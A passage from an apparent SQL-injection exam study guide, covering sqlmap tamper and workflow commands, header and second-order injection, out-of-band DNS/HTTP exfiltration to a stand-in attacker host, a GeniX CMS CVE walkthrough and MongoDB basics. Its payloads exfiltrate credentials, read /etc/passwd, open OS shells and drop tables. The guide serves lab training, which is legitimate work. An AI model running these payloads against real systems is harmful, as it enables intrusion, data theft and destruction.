unionalltounionUNION ALL SELECT → UNION SELECT
concat2concatwsCONCAT(a,b) → CONCAT_WS(MID(CHAR(0),0,0),a,b)
commalesslimitLIMIT 2,3 → LIMIT 3 OFFSET 2
commalessmidMID(a,2,1) → MID(a FROM 2 FOR 1)
symboliclogicalAND/OR → &&/||
escapequotesBackslash-escapes quotes
bluecoatSpace after a keyword → random blank; = → LIKE
securesphereAppends a crafted string that bypasses SecureSphere
sp_passwordAppends sp_password to hide the query from MSSQL logs
xforwardedforAdds a fake X-Forwarded-For header

Deep WAF-bypass work belongs to the filter-evasion module; on the SQLi labs space2comment, between, randomcase, and charencode cover most cases.

3.15.10 Workflow — the sequence to run on an exam target

# 1. Capture the request in Burp, save it, mark the parameter (or use -p)
sqlmap -r req.txt -p id --batch --random-agent

# 2. Constrain once confirmed: DBMS + technique => 10x faster
sqlmap -r req.txt -p id --dbms=MySQL --technique=U --batch

# 3. Situational awareness
sqlmap -r req.txt -p id --dbms=MySQL --technique=U --banner --current-user --current-db --is-dba --batch

# 4. Schema
sqlmap -r req.txt -p id --dbms=MySQL --technique=U --dbs --batch
sqlmap -r req.txt -p id --dbms=MySQL --technique=U -D appdb --tables --batch
sqlmap -r req.txt -p id --dbms=MySQL --technique=U -D appdb -T users --columns --batch

# 5. Extract only what the question needs
sqlmap -r req.txt -p id --dbms=MySQL --technique=U -D appdb -T users -C username,password --dump --batch

# 6. Escalate if the question asks for a file or a shell
sqlmap -r req.txt -p id --file-read="/etc/passwd" --batch
sqlmap -r req.txt -p id --os-shell

Results (including the reusable payloads) are cached under ~/.local/share/sqlmap/output/<target>/ (older builds: ~/.sqlmap/output/). The log file there lets you recover findings after clearing the terminal.

Exam tips

  • -r request.txt beats -u/--data/--cookie for anything non-trivial: it preserves the exact headers, session cookie, content-type, and TLS/redirect behaviour. Save every interesting request from Burp.
  • When sqlmap asks "got a 302 redirect — do you want to follow?" answer yes; when it asks "POST data — resend to the new location?" answer no. Re-sending POST data on a redirect commonly breaks the test.
  • When it asks "it looks like the back-end DBMS is MySQL, skip payloads for other DBMSes?" → yes, and "include all tests for MySQL extending level/risk?" → yes for speed, unless you are worried about impact.
  • Copy the payload sqlmap prints in its findings block into Burp Repeater; it is a working manual payload for that exact parameter, and you can swap the inner SELECT for anything. sqlmap hex-encodes strings (0x...) to dodge filters — decode with CyberChef to read it.
  • --threads and time-based do not mix. For --technique=T, use --threads=1 --time-sec=10.
  • If sqlmap keeps reporting a stale result after you changed something, --flush-session.
  • --level/--risk raise request volume steeply. Escalate deliberately, not reflexively.

3.16 Quick Reference Card

DETECT      '   ''   ')   "   \   ;   %27        4-1 vs 3
BOOL        AND 1=1 / AND 1=2      OR 1=1-- -
COMMENT     #   -- -   /**/   /*!50000 */
COLUMNS     ' ORDER BY N-- -       ' UNION SELECT NULL,NULL,...-- -
REFLECT     ' UNION SELECT 1,2,3,4,5-- -
VERSION     @@version | version() | @@VERSION | v$version | sqlite_version()
SCHEMA      information_schema.tables/.columns | sqlite_master | all_tables/all_tab_columns | sys.tables
ERROR       extractvalue/updatexml | CAST..AS INT | CONVERT(int,..) | UTL_INADDR/XMLType
BLIND       AND ASCII(SUBSTRING(expr,p,1))>N
TIME        SLEEP(5) | pg_sleep(5) | WAITFOR DELAY '0:0:5' | dbms_pipe.receive_message('a',5)
FILE R      LOAD_FILE() | pg_read_file() | OPENROWSET(BULK..) | UTL_FILE
FILE W      INTO OUTFILE/DUMPFILE | COPY..TO | xp_cmdshell echo | ATTACH DATABASE
RCE         UDF sys_exec | COPY..FROM PROGRAM | xp_cmdshell | DBMS_SCHEDULER
SQLMAP      sqlmap -r req.txt -p id --dbms=X --technique=U --batch --dbs

Exam tips

  • Budget: 18 hours, 45 questions. If a parameter has not yielded in ~20 minutes of manual work, hand it to sqlmap with the constraints you have already established and move on while it runs.
  • Most exam SQLi questions ask for a specific value (a flag, a hash, a username, a file's contents). Enumerate to the target table, dump only that column, answer, move on. Do not --dump-all.
  • Record the working comment style, quote context, column count, and DBMS version for every host you touch; later questions on the same host reuse all of it.

4. Advanced & Non-SQL Injection (OOB, Second-Order, NoSQL, LDAP, ORM, XML/XXE)

This section covers everything that is not a plain first-order SQLi in a GET/POST parameter: injection that arrives through HTTP headers, injection whose result comes back over DNS/HTTP instead of in the response, injection that fires later in a different query, and injection into non-SQL back ends (MongoDB, LDAP directories, ORM layers, XML parsers).

Universal rule for every attack below: the methodology never changes — find an input, confirm the input reaches an interpreter, break the interpreter's syntax, observe the error/behaviour, then repair the syntax around your payload. Only the query language changes.


4.1 SQL Injection in HTTP Headers

4.1.1 Why headers are injectable

Applications log or process request metadata: analytics tables that store the User-Agent, referrer-tracking tables, "last login IP" columns populated from X-Forwarded-For, "remember me" lookups keyed on a cookie value. Developers sanitise the visible form fields and forget that headers are also user-controlled strings that get concatenated into INSERT / SELECT / UPDATE statements.

Typical vulnerable back-end pattern:

-- App stores every visitor's browser string; $_SERVER['HTTP_USER_AGENT'] is concatenated raw
INSERT INTO browsers (browser, ip) VALUES ('<User-Agent>', '<REMOTE_ADDR>')

Because the sink is usually an INSERT or UPDATE with no visible output, header SQLi is very often blind, time-based, error-based or second-order rather than UNION-based. The eWPTX "SQLI-1" style lab is exactly this: the app records your browser string and later shows "other users with your same browser", so the injected row is read back by a different query.

4.1.2 Headers worth testing (in priority order)

HeaderTypical sinkNotes
User-Agentanalytics / browser-stats tablemost common; often INSERT, so blind/error-based
Refererreferrer-tracking tablesame pattern as UA
X-Forwarded-ForIP logging, geolocation lookup, rate-limit tablealso X-Real-IP, Client-IP, True-Client-IP, CF-Connecting-IP
Cookie (each value)session / preference lookupSELECT ... WHERE session='<cookie>'
Hostvirtual-host / tenant lookuprarer, but sqlmap tests it at --level=5
Authorization (Basic b64 payload)credential lookupdecode, inject, re-encode
X-Api-Version, Accept-Language, custom X-*feature flags, i18n tablesalways test custom headers first — least sanitised

4.1.3 Manual testing

# Break the string context — look for a 500, a DB error, or a changed page
User-Agent: Mozilla/5.0'
# Repair it — if the quote broke the page and this fixes it, you are inside a string
User-Agent: Mozilla/5.0''
# MySQL time-based confirmation inside an INSERT VALUES('...') context
User-Agent: Mozilla/5.0'+(SELECT 1 FROM (SELECT SLEEP(5))a)+'
# MySQL error-based (extractvalue) — works in INSERT/UPDATE where output is never displayed
User-Agent: Mozilla/5.0' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e)) AND 'a'='a
# MSSQL time-based in a header
User-Agent: Mozilla/5.0';WAITFOR DELAY '0:0:5'--
# PostgreSQL time-based in a header
User-Agent: Mozilla/5.0';SELECT pg_sleep(5)--
# Stacked-query proof inside a logging INSERT (MySQL with multi-statement enabled / MSSQL)
X-Forwarded-For: 1.1.1.1'); WAITFOR DELAY '0:0:5'--
# Cookie value injection — inject into ONE cookie at a time, keep the others intact
Cookie: PHPSESSID=abcd1234; lang=en' AND SLEEP(5)-- -

4.1.4 sqlmap against headers

sqlmap's --level controls which headers are tested at all: level 2 adds Cookie, level 3 adds User-Agent and Referer, level 5 adds Host. If you do not raise the level, sqlmap will never touch a header.

# Cheapest correct way: save the full request from Burp (right-click > Copy to file) and let sqlmap parse it
sqlmap -r request.txt --level=5 --risk=3 --batch
# Pin the injection point precisely with the * marker inside the saved request file
# (edit request.txt so the line reads:  User-Agent: Mozilla/5.0*  )
sqlmap -r request.txt --batch
# Same * marker without a request file, using -H
sqlmap -u "http://1.sqli.labs/" -H "User-Agent: Mozilla/5.0*" --batch
# Explicitly name the header as the parameter (no * needed)
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --level=3 --random-agent --batch
# Dedicated switches for the two most common headers
sqlmap -u "http://target/" --user-agent="Mozilla/5.0*" --batch
sqlmap -u "http://target/" --referer="http://target/*" --level=3 --batch
sqlmap -u "http://target/" --cookie="id=1*" --level=2 --batch
# Arbitrary / custom header with the marker
sqlmap -u "http://target/" -H "X-Forwarded-For: 127.0.0.1*" --batch
sqlmap -u "http://target/" -H "X-Api-Key: abc*" --level=5 --risk=3 --batch
# Header injection often lives behind a UA filter: sqlmap's default UA gets blocked/WAF'd.
# --random-agent replaces it with a real browser string and can flip a "not injectable" to injectable.
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent --batch
# Once confirmed, enumerate normally
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent --dbs --batch
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent -D 1sqlilabs --tables --batch
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent -D 1sqlilabs -T browsers --columns --batch
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent -D 1sqlilabs -T browsers --dump --batch
# Targeted retrieval when you only need one cell (fast, avoids dumping a huge log table)
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent \
  -D 1sqlilabs -T browsers -C browser --where="id=1" --dump --batch
# Search the whole DB for a column/table by name when you don't know the schema
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent --search -C "flag,secret,code" --batch
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent --search -T "user,admin" --batch
# Force a technique when the header sink only supports one (E=error, T=time, B=boolean, U=union, S=stacked)
sqlmap -r request.txt --technique=ET --batch

4.1.5 Exam tips

  • The * marker works anywhere in the URL, POST body, a -H value or a -r request file. It is the fastest way to tell sqlmap "inject exactly here, ignore everything else".
  • If sqlmap says "all tested parameters do not appear to be injectable" on a header, retry with --random-agent, then --level=5 --risk=3, then --technique=T --time-sec=10. The lab-demo UA vulnerability only appeared after --random-agent.
  • Header sinks are usually INSERTs: expect no UNION, expect error-based or time-based. Do not waste exam time hunting for a column count.
  • Test one header at a time. Mass-injecting every header at once makes it impossible to attribute a 500.
  • An injected User-Agent that gets stored and later displayed is a second-order SQLi (§4.3), not a first-order one — trigger page and injection page differ.

4.2 Out-of-Band (OOB) SQL Injection

4.2.1 Concept

In OOB SQLi the attacker does not rely on in-band feedback from the application. Instead the payload forces the database server itself to open a network connection (DNS resolution or HTTP/SMB request) to an attacker-controlled host. The callback both confirms the vulnerability and can carry exfiltrated data inside the subdomain label or the query string.

Use OOB when:

  • the application returns no error messages (fully blind), and
  • responses are not observably different (boolean-blind fails), and
  • time-based fails or is unusably slow/noisy, and
  • the DB host is allowed to make outbound requests (the hard environmental requirement).

Attack flow: identify injectable input → craft a payload that makes the DBMS resolve/fetch <data>.attacker.tld → set up the listener → trigger → read the log.

DNS is generally preferred over HTTP: DNS egress is lightweight, usually permitted through egress firewalls (the internal resolver forwards it out), and is far less likely to be flagged. Its limits: labels are max 63 chars, FQDN max ~253 chars, case is not preserved, and many characters are illegal — so hex/base32-encode the data and chunk it.

4.2.2 Listener setup

# interactsh (ProjectDiscovery) — gives DNS + HTTP + HTTPS + SMTP + LDAP callbacks in one endpoint
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client -v          # prints your unique payload domain, e.g. cvb3q0a1.oast.pro
# Burp Suite Pro: Burp menu > Burp Collaborator client > Copy to clipboard
# -> gives e.g. 8x2k9qz1abcd.oastify.com ; hit "Poll now" to view DNS/HTTP hits
# Quick free alternatives when Collaborator is unavailable
# dnslog.cn / requestbin / webhook.site  -> browser-based, no install
# Self-hosted DNS listener (useful when you own a domain and need full control)
sudo python3 -m http.server 80        # HTTP callbacks
sudo tcpdump -i any -n udp port 53    # raw DNS callbacks

4.2.3 MySQL — DNS/SMB via LOAD_FILE() UNC (Windows only)

LOAD_FILE() on a Windows MySQL host accepts a UNC path. Resolving \\host\share forces a DNS lookup plus an SMB connect. On Linux there is no UNC path handling, so this technique does not work — that is the single most common reason a MySQL OOB payload "fails".

Requirements: MySQL on Windows, secure_file_priv empty (not set to a directory), FILE privilege.

-- Bare confirmation: force a DNS lookup of attacker.oast.pro
SELECT LOAD_FILE('\\\\attacker.oast.pro\\a');
-- Exfiltrate the current database name as the leftmost DNS label
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.oast.pro\\a'));
-- Exfiltrate a hex-encoded value (safe for DNS: only 0-9a-f)
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(CONCAT(user,':',password)) FROM users LIMIT 1),'.attacker.oast.pro\\a'));
-- Chunked exfil when the value exceeds the 63-char DNS label limit
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT SUBSTR(HEX(password),1,40) FROM users LIMIT 1),'.a.attacker.oast.pro\\x'));
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT SUBSTR(HEX(password),41,40) FROM users LIMIT 1),'.b.attacker.oast.pro\\x'));
-- Same idea injected through a UNION into a vulnerable id parameter
' UNION SELECT 1,LOAD_FILE(CONCAT('\\\\',(SELECT version()),'.attacker.oast.pro\\a')),3-- -
-- Alternative MySQL file-write callback (also Windows/UNC only)
SELECT 'x' INTO OUTFILE '\\\\attacker.oast.pro\\share\\out.txt';
# The same payload delivered through an injectable header
User-Agent: Mozilla/5.0' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.oast.pro\\a'))) AND 'a'='a

4.2.4 MSSQL — xp_dirtree, fn_xe_file_target_read_file, xp_cmdshell

MSSQL is the most OOB-friendly DBMS: several built-ins take a UNC path and will happily resolve any hostname.

-- Classic DNS/SMB callback; xp_dirtree is executable by public in many default installs
EXEC master..xp_dirtree '\\attacker.oast.pro\a';
-- Exfiltrate DB_NAME() as a subdomain label
DECLARE @d varchar(1024);
SET @d = (SELECT db_name());
EXEC('master..xp_dirtree "\\'+@d+'.attacker.oast.pro\a"');
-- Other UNC-accepting stored procedures (try in this order if xp_dirtree is blocked)
EXEC master..xp_fileexist '\\attacker.oast.pro\a';
EXEC master..xp_subdirs   '\\attacker.oast.pro\a';
EXEC master..xp_getfiledetails '\\attacker.oast.pro\a';
-- fn_xe_file_target_read_file: SQL Server 2012+, reads Extended Events files, accepts UNC.
-- Useful because it is a FUNCTION -> usable inside a SELECT/UNION, no EXEC or stacked query needed.
SELECT * FROM fn_xe_file_target_read_file('\\attacker.oast.pro\a\*.xel', NULL, NULL, NULL);
-- fn_xe_file_target_read_file with inline exfiltration, injected via UNION
' UNION SELECT 1,(SELECT TOP 1 1 FROM fn_xe_file_target_read_file('\\'+db_name()+'.attacker.oast.pro\a\*.xel',NULL,NULL,NULL)),3-- -
-- OPENROWSET BULK against a UNC path (needs ADMINISTER BULK OPERATIONS)
SELECT * FROM OPENROWSET(BULK N'\\attacker.oast.pro\a\f.txt', SINGLE_CLOB) AS x;

MSSQL also exposes xp_cmdshell, which runs an OS command and can therefore trigger an HTTP/DNS callback directly. It is disabled by default and requires sysadmin; in an exam lab treat it as a last resort and note it in your report as a critical finding rather than a routine verification step.

4.2.5 Oracle — UTL_HTTP, UTL_INADDR, DBMS_LDAP, XXE-in-SQL

Oracle has the richest set of network packages, but from 11g onward outbound access is gated by fine-grained ACLs (DBMS_NETWORK_ACL_ADMIN). If a package raises ORA-24247: network access denied by access control list, the injection point is real but egress is blocked — that error is itself a confirmation.

-- HTTP callback carrying data in the query string
SELECT UTL_HTTP.REQUEST('http://attacker.oast.pro/?d='||(SELECT user FROM dual)) FROM dual;
-- DNS-only callback: resolving the hostname is enough, the lookup itself is the signal
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)||'.attacker.oast.pro') FROM dual;
-- DBMS_LDAP.INIT — often permitted when UTL_HTTP/UTL_INADDR are locked down
SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.oast.pro',80) FROM dual;
-- HTTPURITYPE — another HTTP path that bypasses some UTL_HTTP restrictions
SELECT HTTPURITYPE('http://attacker.oast.pro/?d='||(SELECT banner FROM v$version WHERE ROWNUM=1)).GETCLOB() FROM dual;
-- XXE-inside-SQL: EXTRACTVALUE parses an inline DTD, so the XML parser makes the request.
-- Frequently works when every UTL_* package is ACL-blocked.
SELECT EXTRACTVALUE(xmltype(
  '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [<!ENTITY % p SYSTEM "http://'
  ||(SELECT user FROM dual)||'.attacker.oast.pro/">%p;]>'),'/l') FROM dual;
-- Injected form inside a vulnerable Oracle parameter (Oracle needs FROM dual in subselects)
' AND 1=(SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)||'.attacker.oast.pro') FROM dual)-- -

4.2.6 PostgreSQL — COPY ... TO/FROM PROGRAM, dblink, large-object file read

-- COPY TO PROGRAM executes a shell command as the postgres OS user. Requires superuser
-- (or pg_execute_server_program) and PostgreSQL 9.3+. This is RCE, not just a callback -
-- report it as critical; a DNS lookup is the least invasive way to prove it.
COPY (SELECT '') TO PROGRAM 'nslookup attacker.oast.pro';
-- Stacked-query form through an injectable parameter
'; COPY (SELECT '') TO PROGRAM 'nslookup attacker.oast.pro'; -- -
-- COPY FROM PROGRAM: command output lands in a table you can then SELECT in-band
DROP TABLE IF EXISTS oob; CREATE TABLE oob(o text);
COPY oob FROM PROGRAM 'id';
SELECT * FROM oob;
-- dblink: a pure network callback that needs no shell (extension must be installed)
SELECT dblink_connect('host=attacker.oast.pro user=x password=x dbname=x connect_timeout=3');
-- No superuser? pg_read_file() still proves file read within the data directory
SELECT pg_read_file('/etc/passwd');

4.2.7 sqlmap OOB automation

# --dns-domain turns sqlmap into a DNS server and exfiltrates over DNS.
# Requirements: run as root (binds UDP/53) and be the authoritative NS for the domain,
# i.e. you own attacker.tld and delegated an NS record to this host.
sudo sqlmap -u "http://target/page.php?id=1" --dns-domain=attacker.tld --batch
# Combine with the dns technique explicitly and dump
sudo sqlmap -u "http://target/page.php?id=1" --dns-domain=attacker.tld --technique=T --dbs --batch
# --eval / --proxy are unrelated; the OOB helpers you actually need are:
#   --dns-domain=DOMAIN     DNS exfiltration domain
#   --hostname              retrieve the DB server hostname (useful OOB pivot info)
#   --file-read=FILE        DBMS file read (proves FILE privilege)
sqlmap -u "http://target/page.php?id=1" --hostname --batch
sqlmap -u "http://target/page.php?id=1" --file-read="/etc/passwd" --batch

4.2.8 Exam tips

  • OOB is the fourth thing you try, not the first: error → boolean → time → OOB. If time-based already works, use it; it needs no infrastructure.
  • Always confirm egress first with a bare callback (no data), then add exfiltration. If the bare callback never arrives, stop — the DB has no outbound path and OOB is dead regardless of payload quality.
  • MySQL OOB only works on Windows (UNC paths). Fingerprint the OS with @@version / @@version_compile_os before burning time on LOAD_FILE.
  • Hex-encode (HEX(), sys.fn_varbintohexstr, RAWTOHEX) everything you push into a DNS label. Raw values contain @, spaces, $ and case distinctions that DNS destroys.
  • 63 characters per label, ~253 per FQDN. Chunk with SUBSTR/SUBSTRING and tag each chunk with a sequence label.
  • Seeing an ORA-24247 (Oracle ACL) or an SMB auth failure in your listener still proves the injection — record it.
  • interactsh shows DNS and HTTP interactions separately with timestamps; a DNS hit with no HTTP hit means the resolver worked but the DB could not reach you on TCP.

4.3 Second-Order SQL Injection

4.3.1 First-order vs second-order

First-order (everything in §§1–3 and §4.1–4.2): you inject, the same request's query executes the payload, and you observe the result in that request/response cycle (directly, boolean-differentially, or via a timer). Injection point and observation point are the same transaction.

Second-order (stored) SQLi: the payload is stored safely on the first request — the insert path is parameterised or escaped, so nothing happens and the app reports success — and is later read back out of the database and concatenated into a second, different query that is not parameterised. The injection fires in that second query, possibly minutes later, possibly triggered by a different user (an admin viewing a profile, a cron/report job, a search page).

Why it happens: developers treat data coming out of their own database as trusted. Escaping is applied at the boundary (input) but the stored string is later re-used as SQL source text.

Phase 1 (injection):  register(username="admin'-- ")   ->  INSERT ... VALUES ('admin\'-- ')   [stored, escaped, inert]
Phase 2 (trigger):    admin panel / profile page       ->  SELECT * FROM users WHERE username='admin'-- '   [fires]
Phase 3 (impact):     data leak, privesc, DROP, UPDATE of another user's row

4.3.2 Payload design

The stored value is usually a fragment, not a complete query. You are supplying the tail end of a statement that the second query supplies the head of. Keep it short — registration fields are often length-limited — and remember it must survive escaping as data on the way in.

-- Stored as a username/bio; fires when a second query concatenates it into a WHERE clause
admin'-- 
-- Classic stacked destructive fragment (the transcript's worked example)
'; DROP TABLE users-- 
-- Subquery fragments that return data when the second query renders the field
(SELECT database())
(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())
(SELECT user())
-- UNION fragment for a second query of the form: SELECT bio FROM users WHERE name='<stored>'
' UNION SELECT group_concat(username,':',password) FROM users-- 
-- Error-based fragment (MySQL) - useful when the second query's output is never rendered
' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- 
-- Time-based fragment - the only reliable oracle when the trigger page is not visible to you
' AND (SELECT SLEEP(5))-- 
-- Privilege escalation via a second-order UPDATE sink
admin', role='admin'-- 

4.3.3 How to find it

  1. Map every store→display pair. For each field you can write (username, display name, bio, address, filename, comment, search-history entry, referrer, User-Agent) find every place it is later rendered: profile page, admin list, search results, exported CSV/PDF, email templates, logs.
  2. Plant a canary in every writable field, uniquely tagged so you can tell which field fired:
    a1'-- 
    a2'"()|{}
    a3' AND SLEEP(7)-- 
    
  3. Walk the whole application afterwards — including pages you do not normally visit — looking for 500s, blank sections, truncated output or delays. The error surfaces on the trigger page, not the injection page.
  4. Re-read your own record through every path: profile view, edit form, search for yourself, sort/filter by that column, change password, password-reset flow.
  5. If an admin-only page is the trigger, you may have to rely on a blind oracle (a sleep you can time via a shared resource, or an OOB callback from §4.2) because you never see the admin's response.

4.3.4 sqlmap second-order automation

sqlmap cannot guess that the result appears somewhere else; you must tell it where to look after each injected request.

# --second-url : after sending each payload to the injection point, sqlmap fetches this URL
# and searches ITS response for the injection's effect.
sqlmap -u "http://target/register.php" --data="username=test&bio=INJECT&password=p" \
  -p bio --second-url="http://target/profile.php?name=test" --batch
# --second-req : same idea but the trigger is a full saved HTTP request (needed when the
# trigger page requires POST, custom headers, or a different/admin session cookie).
sqlmap -u "http://target/register.php" --data="username=test&bio=INJECT" -p bio \
  --second-req=trigger.txt --batch
# Older sqlmap releases spell the first switch --second-order; if --second-url is rejected, use:
sqlmap -u "http://target/register.php" --data="username=test&bio=INJECT" -p bio \
  --second-order="http://target/profile.php?name=test" --batch
# Second-order through an injectable header, with the trigger page elsewhere
sqlmap -u "http://target/" -H "User-Agent: Mozilla/5.0*" \
  --second-url="http://target/stats.php" --level=3 --batch
# Because each test costs two requests, constrain the run hard
sqlmap -u "http://target/register.php" --data="username=test&bio=INJECT" -p bio \
  --second-url="http://target/profile.php?name=test" \
  --technique=BEST --level=3 --risk=2 --threads=1 --batch

A practical wrinkle: most registration forms reject a duplicate username, so sqlmap's repeated identical requests fail after the first. Either point the injection at a field that can be re-submitted (bio, address, comment) or use --eval to randomise the unique field on every request:

# Randomise the username each request so registration keeps succeeding
sqlmap -u "http://target/register.php" --data="username=u1&bio=INJECT&password=p" -p bio \
  --eval="import random; username='u%d'%random.randint(1,10**9)" \
  --second-url="http://target/profile.php" --batch

4.3.5 Exam tips

  • If a field is "not injectable" first-order but clearly gets stored, go look at where it is displayed. That is the single highest-yield move in the whole section.
  • The trigger query is often an admin/report feature. Register the payload, then re-authenticate as any higher-privilege account you have or wait for the periodic job.
  • Anti-CSRF tokens on the registration form will break naive sqlmap runs; use --csrf-token=<param> and --csrf-url=<form url>, or answer "no" when sqlmap offers to auto-update the token and supply a fresh saved request instead.
  • Keep fragments short and quote-balanced-on-purpose. A payload that is valid SQL on the way in will often be executed first-order instead, which is a different (and noisier) finding.
  • Prove impact with a read (SELECT database()), never with DROP/UPDATE, on a lab you still need.

4.4 Known-CVE Exploitation Workflow (worked example: GeniX CMS SQLi, CVE-2015-3933)

Exam labs frequently host a real, outdated CMS. The fastest route is almost never a from-scratch discovery — but the reliable route is to confirm the flaw yourself rather than trust the PoC blindly. The GeniX CMS case is instructive because the public PoC is incomplete: it documents one vulnerable parameter while a second one is also injectable.

4.4.1 Step 1 — identify the product and exact version

# Version strings are usually in the footer, the generator meta tag, a README, or a changelog
curl -s http://target/ | grep -iE "generator|genix|version|powered by"
curl -s http://target/readme.txt http://target/CHANGELOG.md http://target/composer.json
# Fingerprint the stack and look for version-bearing paths
whatweb -a 3 http://target/
nmap -sV -p- --min-rate 2000 target

4.4.2 Step 2 — search for a public vulnerability

# Local Exploit-DB mirror (ships with Kali)
searchsploit genix
searchsploit genix cms
# Read the PoC without copying it out of the database
searchsploit -x 37835            # open the entry by its EDB-ID
searchsploit -m 37835            # mirror it into the current directory
cat /usr/share/exploitdb/exploits/php/webapps/37835.txt
# Keep the local copy current before relying on a negative result
searchsploit -u
# Cross-check the CVE for affected version ranges and the exact vulnerable parameter
# nvd.nist.gov/vuln/detail/CVE-2015-3933  |  cve.mitre.org  |  vendor changelog/commit diff

CVE-2015-3933 describes SQL injection in register.php of GeniX CMS 0.0.3 via the email parameter.

4.4.3 Step 3 — reach the vulnerable code path

# Locate the endpoint the advisory names and capture a legitimate request through Burp/ZAP
# Register a real account first: you need the exact parameter names and any anti-CSRF token.
# GeniX register.php body:  user_id=...&pass1=...&pass2=...&email=...&token=...

4.4.4 Step 4 — verify with sqlmap, built by hand from the intercepted request

Building the command manually (rather than always using -r request.txt) is the skill the lab is testing: you should be able to reconstruct a scan from your own observation of the traffic.

# Test EVERY body parameter - do not assume the advisory is complete
sqlmap -u "http://target/register.php" \
  --data="user_id=alexis&pass1=Passw0rd&pass2=Passw0rd&email=alexis@test.com&token=abc" \
  --threads=3
# Then pin the parameter the CVE names
sqlmap -u "http://target/register.php" \
  --data="user_id=alexis&pass1=Passw0rd&pass2=Passw0rd&email=alexis@test.com&token=abc" \
  -p email --batch
# And confirm the parameter the CVE does NOT name (the transcript's finding: user_id is
# also injectable - error-based and time-based - even though the PoC only lists email)
sqlmap -u "http://target/register.php" \
  --data="user_id=alexis&pass1=Passw0rd&pass2=Passw0rd&email=alexis@test.com&token=abc" \
  -p user_id --batch
# Handle the anti-CSRF token and the session cookie sqlmap warns about
sqlmap -u "http://target/register.php" --data="user_id=a&pass1=p&pass2=p&email=a@b.c&token=abc" \
  -p email --csrf-token=token --csrf-url="http://target/register.php" --batch
# Escalate depth only if the defaults find nothing
sqlmap -u "http://target/register.php" --data="...&email=a@b.c" -p email \
  --level=5 --risk=3 --technique=BEUST --batch

4.4.5 Step 5 — enumerate and answer the question

sqlmap -u "http://target/register.php" --data="...&email=a@b.c" -p email --dbs --batch
sqlmap -u "http://target/register.php" --data="...&email=a@b.c" -p email -D app --tables --batch
sqlmap -u "http://target/register.php" --data="...&email=a@b.c" -p email -D app -T user --columns --batch
sqlmap -u "http://target/register.php" --data="...&email=a@b.c" -p email -D app -T user --dump --batch
# Skip sqlmap's hash-cracking prompt (it wastes minutes with the default wordlist)
sqlmap ... --dump --batch --no-cast
# Identify recovered hashes offline instead
hashid '5f4dcc3b5aa765d61d8327deb882cf99'
hash-identifier
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

4.4.6 Adapting a PoC that does not work as written

SymptomCauseFix
PoC 404sendpoint moved between versionsre-crawl; check index.php?p=register style routing
"invalid token"anti-CSRF added after the PoC was writtenfetch the form, scrape the token, replay in the same session
Payload rejecteddifferent quoting context (numeric vs string)drop/add the leading '; try ) and ')) prefixes
Works manually, not in sqlmapsqlmap's UA is filtered--random-agent, --tamper=space2comment, --delay=1
PoC targets a different DBMSproduct supports severalfingerprint with --dbms=mysql / --banner first
No visible outputsink is an INSERTswitch to --technique=ET, expect no UNION

4.4.7 Exam tips

  • Never stop at the CVE's named parameter. Let sqlmap test the whole request body first; public PoCs are routinely incomplete, and the extra parameter may be the one with the technique you need.
  • Answer "no" to "do you want to automatically update the anti-CSRF token?" only when you are supplying it yourself; otherwise let sqlmap handle it.
  • Answer "yes" to "do you want sqlmap to use its own cookie?" — sqlmap handles session cookies for you, which is why a hand-built command works without --cookie.
  • Answer "no" to "target URL is not stable" prompts and just continue; instability usually comes from a CSRF token or a timestamp, not from your payload.
  • Record the exact payload sqlmap prints in the "sqlmap identified the following injection point(s)" block — that string, not the tool run, is your PoC for the report.
  • --batch for speed once you know the answers; drop it while you are still learning the app's prompts.

4.5 NoSQL Injection (MongoDB)

4.5.1 NoSQL vs SQL — what actually changes

AspectSQL (RDBMS)NoSQL (MongoDB)
Modelrelationalnon-relational, document-oriented
Storagetables: fixed rows + columnscollections of JSON-like (BSON) documents
Schemastatic / rigid, bound to relationshipsdynamic / flexible, per-document
Scalingvertical (bigger box)horizontal (more nodes, sharding)
LanguageSQL (structured)MQL — Mongo Query Language (unstructured)
Query powervery rich (JOIN, UNION, subqueries)rich operators, but no JOIN/UNION equivalent

Terminology map: database → database, table → collection, row/record → document, column → field. There is no information_schema; you enumerate structure with show dbs, show collections and by reading documents.

Consequences for the attacker:

  • There is no UNION SELECT and no comment syntax to neutralise the rest of the query. You cannot "append a second query" the way you do in SQL.
  • Instead you change the query's logic by substituting an operator object where the application expected a scalar string. {"user":"admin"} becomes {"user":{"$ne":"x"}}.
  • Because MongoDB accepts JavaScript in $where and in map-reduce, a second, far more powerful class of injection exists: server-side JavaScript injection.
  • A single ' usually produces nothing — MongoDB is not parsing SQL. Absence of a quote-error does not mean absence of injection; test with operators instead.

4.5.2 Mongo shell baseline (know these for the lab)

// Enumerate the server
show dbs                              // list databases
use users                             // select database
show collections                      // list collections (== SHOW TABLES)
db.help()                             // db-level methods
db.current.help()                     // collection-level methods
// Read documents
db.current.find()                     // all documents in the collection
db.current.find().pretty()            // readable formatting
db.current.find({user:"Heather"})     // exact match (CASE SENSITIVE)
db.current.findOne({user:"admin"})    // first match only
db.banned.find().count()              // number of documents matching
db.banned.count()                     // documents in the collection
// Operator queries
db.city.find({pop:{$gt:15000}}).count()                       // greater than
db.city.find({pop:{$lt:100}})                                 // less than
